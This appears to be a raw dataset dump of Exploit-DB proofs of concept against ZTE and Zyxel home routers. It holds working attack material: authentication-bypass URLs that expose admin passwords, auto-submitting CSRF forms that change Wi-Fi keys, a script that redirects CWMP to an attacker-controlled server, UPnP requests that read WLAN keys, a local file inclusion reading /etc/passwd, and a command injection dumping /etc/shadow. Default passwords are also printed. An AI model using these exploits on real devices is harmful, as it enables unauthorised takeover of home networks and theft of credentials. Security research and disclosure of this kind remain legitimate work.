deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35203
Description: ZTE ZXDSL 831CII - Insecure Direct Object Reference
Type: webapps
Platform: hardware
Date: 2014-11-10
Author: Paulos Yibelo

Exploit:
# Exploit Title: ZTE ZXDSL 831 Insecure Direct Object Reference
# Date: 11/3/2014
# Exploit Author: Paulos Yibelo
# Vendor Homepage: zte.com.cn
# Software Link: -
# Version: -
# Tested on: Windows 7
# CVE :-

ZTE ZXDSL 831CII suffers from an insecure direct object reference
vulnerability that allows for authentication bypass.

The modem usually serves html files & protects them with HTTP Basic
authentication. however, the cgi files, does not get this protection.
so simply requesting any cgi file (without no authentication) would
give a remote attacker full access to the modem and then can easily be
used to root the modem and disrupt network activities.

So requesting modem.ip.address would result HTTP Authentication
request, but simply requesting http://192.168.1.1/main.cgi will bypass
it.

PoC: http://192.168.1.1/adminpasswd.cgi (will result admin password
change page) - viewing the source will show the current password
(unencrypted)
http://192.168.1.1/userpasswd.cgi
http://192.168.1.1/upload.cgi
http://192.168.1.1/conprocess.cgi
http://192.168.1.1/connect.cgi
.
.
Exploit-DB #18061
Description: ZTE ZXDSL 831IIV7.5.0a_Z29_OV - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2011-11-01
Author: mehdi boukazoula

Exploit:
# Exploit Title: ZTE ZXDSL 831IIV7.5.0a_Z29_OV Multiple vulnerabilities
# Date: 28 / 10 / 2011 .
# Authors: Mehdi Boukazoula ; Ibrahim Debeche .
# Software Link with patch : 
# Version: v 831IIV7.5.0a_Z29_OV
# Tested on: v 831IIV7.5.0a_Z29_OV, May Affect all ZTE routers !!
# Description :

1 - Authentication bypass + Cross Site Request forgery
To bypass authentication go to URL : http://192.168.1.1/accessaccount.cgi
To get request forgery; The attacker can request from his browser without cookie or any authentication, or send link to the Administrator :
 
USER ACCOUNT : http://192.168.1.1/accessaccount.cgi?usrUserName=user&usr[CREDENTIAL_REDACTED]
ADMIN ACCOUNT : http://192.168.1.1/accessaccount.cgi?sysUserName=admin&sys[CREDENTIAL_REDACTED]

2 - Script revealing sensitive information on source of page "accessaccount.cgi":

function frmLoad()
{
   with ( document.forms.adminaccount ) {
      sysUserName.value = 'admin';
      sysPassword.value = '43210';
      syscfmPwd.value = '43210';
      
      usrUserName.value = 'user';
      usrPassword.value = '111111';
      usrcfmPwd.value = '111111';
   }
}
Exploit-DB #34680
Description: ZTE ZXDSL-931VII - Configuration Dump
Type: webapps
Platform: hardware
Date: 2014-09-16
Author: L0ukanik0-s S0kniaku0l

Exploit:
# Exploit Title: ZTE ZXDSL-931VII Unauthenticated Configuration Dump
# Google Dork: use your imagination 
# Date: 09-12-2014
# Exploit Author: L0ukanik0sGR
# Vendor Homepage: www.zte.com.cn
# Software Link: https://www.ote.gr/web/guest/help-and-support/internet/vdsl/-/support/article/870213%3Bjsessionid=01605E58A483CF54BB0E95208F531764.node3_1_OTEGR?! original firmware for that device could not be found but it works to all zte devices with custom ISP firmware :)
# Version: 931vii,w300 and all zte products running that firmware
# Tested on: linux other os compatible
# CVE : None yet it's a 0day


ZTE ZXDSL-931VII Unauthenticated Configuration Dump

Unauthenticated Configuration File Download and
Decompression of the _config.bin file 
by L0ukanik0s,GR 2014,l0ukanik0s@hotmail.com


Exploit PoC:

1. Go to http://router-ip/ manager_dev_config_t.gch

2. 
Click on 'Backup Configuration' and obtain the _config.bin

3. 
Download python script from http://pastebin.com/i6dfsL5D

4. 
Then compile and run zte-0day.py (root@l0ukanik0s:~# python zte-0day.py)

5. 
Insert the path of the _config.bin file hit 'ENTER'

6. 
Enjoy your configuration dump






#!/usr/bin/env python
import zlib
#scripte originated from http://reverseengineering.stackexchange.com/questions/3593/re-compressed-backup-file-router-linux-based-so-is-it-compresed-with-zlib
print "################################################"
print "#       THe W0lf is so close                   #"
print "# ZTE 931Vii Router configuration unpacker     #"
print "#       Find configuration file @              #"
print "#  http://192.168.1.1/manager_dev_config_t.gch #"
print "#      L0ukanik0s 2014 Hack-Hosting            #"
print "#        l0ukanik0s@hotmail.com                #"
print "################################################"
 
print "Enter your config.bin path: e.g root@l0ukanik0s:~#/Desktop/931router_config.bin"
configfile = raw_input("File Path :").strip()
 
magic_numbers = ['\x78\xDA']
filename = configfile
 
 
infile = open(filename, 'r')
data = infile.read()
 
 
pos = 0
found = False
 
 
while pos < len(data):
        window = data[pos:pos+2]
        for marker in magic_numbers:
                if window == marker:
                        found = True
                        start = pos
                        print "Start of zlib %s" % pos
                        rest_of_data = data[start:]
                        decomp_obj = zlib.decompressobj()
                        uncompressed_msg = decomp_obj.decompress(rest_of_data)                 
                        print "Configuration of ZTE 931 File Content: %s" % uncompressed_msg
                        break
        if pos == len(data):
                break
        pos += 1
 
 
if found:
        header = data[:start]
        footer = decomp_obj.unused_data
 
 
if not found:
        print "Sorry, no zlib found."
Exploit-DB #35272
Description: ZTE ZXHN H108L - Authentication Bypass (1)
Type: webapps
Platform: hardware
Date: 2014-11-17
Author: Project Zero Labs

Exploit:
# Exploit Title: ZTE ZXHN H108L Authentication Bypass
# Date: 14/11/2014
# Exploit Author: Project Zero Labs (https://projectzero.gr | 
labs@projectzero.gr)
# Vendor Homepage: www.zte.com.cn
# Version: ZXHN H108LV4.0.0d_ZRQ_GR4
# Tested on: ZTE ZXHN H108L
# CVE : CVE-2014-8493

#Original post at 
https://projectzero.gr/en/2014/11/zte-zxhn-h108l-authentication-bypass/

Description
===========
CWMP configuration is accessible only through the Administrator account. 
CWMP is a protocol widely used by ISPs worldwide for remote provisioning 
and troubleshooting subscribers' equipment. However editing the CWMP 
parameters (more specifically sending the POST request) does not require 
any user authentication.

Proof of Concept
================

#!/usr/bin/python

import requests

acs_server = "http://<server>:<port>"
acs_user = "user"
acs_pass = "pass"

# Connection request parameters. When a request is made to the following 
URL, using the specified user/pass combination,
# router will connect back to the ACS server.

conn_url = "/tr069"
conn_port = "7564"
conn_user = "user"
conn_pass = "pass"

#Periodic inform parameters
active = 1
interval = 2000

payload = {'CWMP_active': '1', 'CWMP_ACSURL': 
acs_server,'CWMP_ACSUserName': acs_user,'CWMP_ACSPassword': acs_pass, 
'CWMP_ConnectionRequestPath': conn_url, 'CWMP_ConnectionRequestPort': 
conn_port, 'CWMP_ConnectionRequestUserName': conn_user, 
'CWMP_ConnectionRequestPassword': conn_pass, 'CWMP_PeriodActive': 
active, 'CWMP_PeriodInterval': interval, 'CWMPLockFlag': '0' }

r = requests.post("http://192.168.1.254/Forms/access_cwmp_1", 
data=payload)

Disclosure Timeline
===================

27/10/2014 - First communication attempt to both vendor and ISP
04/11/2014 - ZTE response stating that ISP should be contacted
03/11/2014 - Second attempt to contact the ISP.
14/11/2014 - No response from ISP. Public Disclosure
Exploit-DB #35276
Description: ZTE ZXHN H108L - Authentication Bypass (2)
Type: webapps
Platform: hardware
Date: 2014-11-17
Author: Project Zero Labs

Exploit:
About the software
==================

ZTE ZXHN H108L is provided by some large Greek ISPs to their subscribers.

Vulnerability Details
=====================

CWMP configuration is accessible only through the Administrator account. CWMP is a protocol widely used by ISPs worldwide for remote provisioning and troubleshooting their subscribers' equipment. However editing the CWMP configuration (more specifically sending the POST request) does not require any user authentication.

Affected Products
=================
Device model : ZTE ZXHN H108L
Firmware Version : ZXHN H108LV4.0.0d_ZRQ_GR4

Proof of Concept
================

#!/usr/bin/python

import requests

acs_server = "http://<server>:<port>"
acs_user = "user"
acs_pass = "pass"

# Connection request parameters. When a request is made to the following URL, using the specified user/pass combination,
# router will connect back to the ACS server.

conn_url = "/tr069"
conn_port = "7564"
conn_user = "user"
conn_pass = "pass"

#Periodic inform parameters
active = 1
interval = 2000

payload = {'CWMP_active': '1', 'CWMP_ACSURL': acs_server,'CWMP_ACSUserName': acs_user,'CWMP_ACSPassword': acs_pass, 'CWMP_ConnectionRequestPath': conn_url, 'CWMP_ConnectionRequestPort': conn_port, 'CWMP_ConnectionRequestUserName': conn_user, 'CWMP_ConnectionRequestPassword': conn_pass, 'CWMP_PeriodActive': active, 'CWMP_PeriodInterval': interval, 'CWMPLockFlag': '0' }

r = requests.post("http://192.168.1.254/Forms/access_cwmp_1", data=payload)

Impact
======

The described vulnerability allows any unauthenticated user to edit the CWMP configuration. Exploitation can be performed by LAN users or through the Internet if the router is configured to expose the web interface to WAN. Also because the router lacks of CSRF protection, malicious JS code can be deployed in order to exploit the vulnerability through a  malicious web page.

Severity
========

Medium

References
==========

https://projectzero.gr/en/2014/11/zte-zxhn-h108l-authentication-bypass/


Disclosure Timeline
===================

27/10/2014 - First communication attempt to both vendor and ISP
04/11/2014 - ZTE response states that ISP should be contacted
03/11/2014 - Second attempt to contact the ISP.
14/11/2014 - No response from ISP. Public Disclosure

Contact Information
===================
Domain:    https://projectzero.gr
Social:    twitter.com/projectzerolabs
Contact:    labs _at_ projectzero.gr
Exploit-DB #38409
Description: ZTE ZXHN H108N Router - Configuration Disclosure
Type: webapps
Platform: hardware
Date: 2015-10-06
Author: Todor Donev

Exploit:
<!-- 
   ZTE ZXHN H108N unauthenticated config download

   Copyright 2015 (c) Todor Donev
   todor.donev@gmail.com
   http://www.ethical-hacker.org/
   https://www.facebook.com/ethicalhackerorg
   http://pastebin.com/u/hackerscommunity
  
   Tested device:
   Model                           ZXHN H108N
   Software Version                V3.3.0_MU

   Description:
   Does not check cookies and credentials on POST
   method so attackers could download the config 
   file without authentication.

                      \!/\!/\!/
   Use at your own                Use at your own
 risk and educational 	        risk and educational
    purpose ONLY!                  purpose ONLY!

   Disclaimer:
   This or previous program is for Educational
   purpose ONLY. Do not use it without permission.
   The usual disclaimer applies, especially the
   fact that Todor Donev is not liable for any
   damages caused by direct or indirect use of the
   information or functionality provided by these
   programs. The author or any Internet provider
   bears NO responsibility for content or misuse
   of these programs or any derivatives thereof.
   By using these programs you accept the fact
   that any damage (dataloss, system crash,
   system compromise, etc.) caused by the use
   of these programs is not Todor Donev's
   responsibility.
  
   Use at your own                Use at your own 
 risk and educational           risk and educational
    purpose ONLY!                  purpose ONLY!
                      /i\/i\/i\
-->
<html>
<title>ZTE ZXHN H108N unauthenticated config download</title>
<body onload=javascript:document.ethack.submit()>
<p>ZTE ZXHN H108N  Exploiting..</p>
<form name="ethack" method="POST" action="http://TARGET/getpage.gch?pid=101" enctype="multipart/form-data">
<input type="hidden" name="config" id="config" value="">
</body>
</html>
Exploit-DB #45972
Description: ZTE ZXHN H168N - Improper Access Restrictions
Type: webapps
Platform: hardware
Date: 2018-12-11
Author: Usman Saeed

Exploit:
[*] POC: (CVE-2018-7357 and CVE-2018-7358)

Disclaimer: [This POC is for Educational Purposes , I would Not be
responsible for any misuse of the information mentioned in this blog post]

[+] Unauthenticated

[+] Author: Usman Saeed (usman [at] xc0re.net)

[+] Protocol: UPnP

[+] Affected Harware/Software:

Model name: ZXHN H168N v2.2
Build Timestamp:[PII_REDACTED]3202
Software Version: V2.2.0_PK1.2T5
[+] Findings:

1. Unauthenticated access to WLAN password:

POST /control/igd/wlanc_1_1 HTTP/1.1
Host: <IP>:52869
User-Agent: {omitted}
Content-Length: 288
Connection: close
Content-Type: text/xml; charset=”utf-8″
SOAPACTION: “urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys” 1
<?xml version=”1.0″ encoding=”utf-8″?>
<s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:GetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″></u:GetSecurityKeys></s:Body></s:Envelope>

2. Unauthenticated WLAN passphrase change:

POST /control/igd/wlanc_1_1 HTTP/1.1
Host: <IP>:52869
User-Agent: {omitted}
Content-Length: 496
Connection: close
Content-Type: text/xml; charset=”utf-8″
SOAPACTION: “urn:dslforum-org:service:WLANConfiguration:1#SetSecurityKeys”
<?xml version=”1.0″ encoding=”utf-8″?>
<s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:SetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″><NewWEPKey0>{omitted}</NewWEPKey0><NewWEPKey1>{omitted}</NewWEPKey1><NewWEPKey2>{omitted}</NewWEPKey2><NewWEPKey3>{omitted}</NewWEPKey3><NewPreSharedKey>{omitted}</NewPreSharedKey><NewKeyPassphrase>{omitted}</NewKeyPassphrase></u:SetSecurityKeys></s:Body></s:Envelope>
[*] Solution:

UPnP should not provide excessive services, and if the fix is not possible, then UPnP should be disabled on the affected devices.

[*] Note:

There are other services which should not be published over UPnP, which are not mentioned in this blog post, as the solution is the same.

[+] Responsible Disclosure:

Vulnerabilities identified – 20 August, 2018
Reported to ZTE – 28 August, 2018
ZTE official statement – 17 September 2018
ZTE patched the vulnerability – 12 November 2018
The operator pushed the update – 12 November 2018
CVE published – Later
Public disclosure – 12 November 2018
Ref: http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009522
Exploit-DB #48669
Description: Zyxel Armor X1 WAP6806 - Directory Traversal
Type: webapps
Platform: hardware
Date: 2020-07-15
Author: Rajivarnan R

Exploit:
# Exploit Title: Zyxel Armor X1 WAP6806 - Directory Traversal
# Date: 2020-06-19
# Exploit Author: Rajivarnan R
# Vendor Homepage: https://www.zyxel.com/
# Software [http://www.zyxelguard.com/WAP6806.asp]
# Version: [V1.00(ABAL.6)C0]
# CVE: 2020-14461
# Tested on: Linux Mint / Windows 10
# Vulnerabilities Discovered Date : 2020/06/19 [YYYY/MM/DD]

# As a result of the research, one vulnerability identified. 
# (Directory Traversal)
# Technical information is provided below step by step.

# [1] - Directory Traversal Vulnerability

# Vulnerable Parameter Type: GET
# Vulnerable Parameter: TARGET/Zyxel/images/eaZy/]

# Proof of Concepts:https://TARGET/Zyxel/images/eaZy/
<https://target/Zyxel/images/eaZy/>
Exploit-DB #46240
Description: Zyxel NBG-418N v2 Modem 1.00(AAXM.6)C0 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2019-01-24
Author: Ali Can Gönüllü

Exploit:
<!--
# Exploit Title: Zyxel NBG-418N v2 Modem CSRF Exploit & PoC
# Version: Zyxel NBG-418N v2 - V1.00(AAXM.6)C0
# Tested on: Windows 10 x64
# CVE : CVE-2019-6710
# Author : Ali Can Gönüllü
# Twitter : @alicangonullu

Exploits :
-->

<html><head>
<title>NBG-418N v2 Modem CSRF Exploit & PoC</title>
</head><body>
<form action="http://10.0.0.1/login.cgi" method="POST">
<input type="text" name="username" id="username" value="admin" /><br />
<input type="text" name="password" id="password" value="1234" /><br />
<input id="loginBtn" onclick="return onlogin()" type='submit' 
value='Go!' />
<input type="hidden" name="submit.htm?login.htm" value="Send">
</form>
</body></html>
Exploit-DB #32204
Description: ZYXEL P-660HN-T1A Router - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2014-03-12
Author: Michael Grifalconi

Exploit:
# Exploit Title: ZyXEL Router P-660HN-T1A - Login Bypass
# Date: 11/03/2013
# Exploit Author: Michael Grifalconi <NAME.SURNAME@studenti.unimi.it>
# Vendor Homepage: http://www.zyxel.com/products_services/p_660hn_txa_series.shtml?t=p
# Version: 3.40(BYF.5) - (Last avaiable)

If someone is logged on the web interface of the router, the attacker could 
bypass the login form by going straigt to the default page of administration.
(The root page will ask for password)

The vulnerability works from any IP address, the router seems to be 'free to access' from any IP 
when a legit user is logged in.

http://ROUTER-IP/rpSys.html

You may setup a bot that checks if someone is logged and if so, download the configuration backup
to obtain the password.
Exploit-DB #41998
Description: Zyxel P-660HW-61 Firmware < 3.40(PE.11)C0 Router - Local File Inclusion
Type: webapps
Platform: hardware
Date: 2017-05-02
Author: ReverseBrain

Exploit:
# Exploit Title: Zyxel P-660HW-61 < 3.40(PE.11)C0 - Local File Inclusion
# Date: 2-05-2017
# Exploit Author: ReverseBrain
# Contact: https://www.twitter.com/ReverseBrain
# Vendor Homepage: https://www.zyxel.com
# Software Link: ftp://ftp.zyxel.com/P-660HW-61/firmware/P-660HW-61_3.40(PE.11)C0.zip
# Version: 3.40(PE.11)C0

1. Description

Any user who can login into the router can exploit the Local File Inclusion
reading files stored inside the device.

2. Proof of Concept

Login into the router and use the path of a file you want to read as
getpage parameter. For example:

http://ROUTER_IP/cgi-bin/webcm?getpage=/etc/passwd
Exploit-DB #33518
Description: ZYXEL P-660HW-T1 3 Wireless Router - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2014-05-26
Author: Mustafa ALTINKAYNAK

Exploit:
# Exploit Title: Zyxel P-660HW-T1 v3 Wireless Router - CSRF Vulnerabilities
# Date: 05/22/2014
# Author: Mustafa ALTINKAYNAK
# Vendor Homepage:http://www.zyxel.com/tr/tr/products_services/p_660hw_series.shtml?t=p
# Category: Hardware/Wireless Router
# Tested on: Zyxel P-660HW-T1 v3 Wireless Router
# Patch/ Fix: Vendor has not provided any fix for this yet
---------------------------
 
Technical Details
---------------------------
This vulnerability was tested at the P-660HW-T1 devices. Admin panel is open you can run remote code destination.
You can send the form below to prepare the target. Please offending. Being partners in crime.

Disclosure Timeline
---------------------------
05/21/2014  Contacted Vendor 
05/22/2014  Vendor Replied
04/22/2014  Vulnerability Explained (No reply received)
05/23/2014  Full Disclosure

Exploit Code 
---------------------------
 
Change Wifi (WPA2/PSK) password & SSID by CSRF
---------------------------------------------------------------------------------
<html>
<body onload="document.form.submit();">
<form action="http://192.168.1.1/Forms/WLAN_General_1"
method="POST" name="form">
<input type="hidden" name="EnableWLAN" value="on">
<input type="hidden" name="Channel_ID" value="00000005">
<input type="hidden" name="ESSID" value="WIFI NAME">
<input type="hidden" name="Security_Sel" value="00000002">
<input type="hidden" name="SecurityFlag" value="0">
<input type="hidden" name="WLANCfgPSK" value="123456">
<input type="hidden" name="WLANCfgWPATimer" value="1800">
<input type="hidden" name="QoS_Sel" value="00000000">
<input type="hidden" name="sysSubmit" value="Uygula">
</form>
</body>
</html> 

-----------

Mustafa ALTINKAYNAK
twitter : @m_altinkaynak <https://twitter.com/m_altinkaynak>
www.mustafaaltinkaynak.com
Exploit-DB #38455
Description: ZYXEL PMG5318-B20A - OS Command Injection
Type: webapps
Platform: hardware
Date: 2015-10-14
Author: Karn Ganeshen

Exploit:
# Exploit Title: [ZyXEL PMG5318-B20A OS Command Injection Vulnerability]
# Discovered by: Karn Ganeshen
# CERT VU# 870744
# Vendor Homepage: [www.zyxel.com]
# Version Reported: [Firmware version V100AANC0b5]
# CVE-2015-6018 [http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6018]


*Vulnerability Details*

CWE-20 <http://cwe.mitre.org/data/definitions/20.html>: Improper Input
Validation - CVE-2015-6018

The diagnostic ping function's PingIPAddr parameter in the ZyXEL
PMG5318-B20A, firmware version V100AANC0b5, does not properly validate user
input. An attacker can execute arbitrary commands as root.

*OS Command Injection PoC*

The underlying services are run as 'root'. It therefore, allows dumping
system password hashes.

*HTTP Request*

POST /diagnostic/diagnostic_general.cgi HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:40.0) Gecko/20100101
Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://<IP>/diagnostic/diagnostic_general.cgi
Cookie: session=a457f8ad83ba22dc256cd0b002c66666 Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------
[PII_REDACTED][PII_REDACTED]367286444
Content-Length: 451

——————————————[PII_REDACTED][PII_REDACTED]67286444
Content-Disposition: form-data; name="InfoDisplay”
——————————————[PII_REDACTED][PII_REDACTED]67286444
Content-Disposition: form-data; name="*PingIPAddr*"
*8.8.8.8; cat /etc/shadow *
——————————————[PII_REDACTED][PII_REDACTED]67286444
Content-Disposition: form-data; name="Submit"
Ping
….
*HTTP Response *
.....
<snipped>
<br class="clearfloat" />
<!-- configuration beginning -->
<div class="headline"><span class="cTitle">General</span></div> <table
width="90%" border="0" align="center" cellpadding="0" cellspacing="0"
class="cfgpadding">
<tr>
<td nowrap="nowrap"><textarea name="InfoDisplay" rows="15" cols="100"
readonly="readonly”>


*root:<hash>:15986:0:99999:7:::
lp:*:13013:0:99999:7:::nobody:*:13013:0:99999:7:::admin:<hash>:16035:0:99999:7:::
user:<hash>:16035:0:99999:7:::*
 &lt;/textarea&gt;</td>
</tr>
</table>
<table width="90%" border="0" align="center" cellpadding="0"
cellspacing="0" class="cfgpadding">
<tr>
----------------------------[PII_REDACTED][PII_REDACTED]367286444--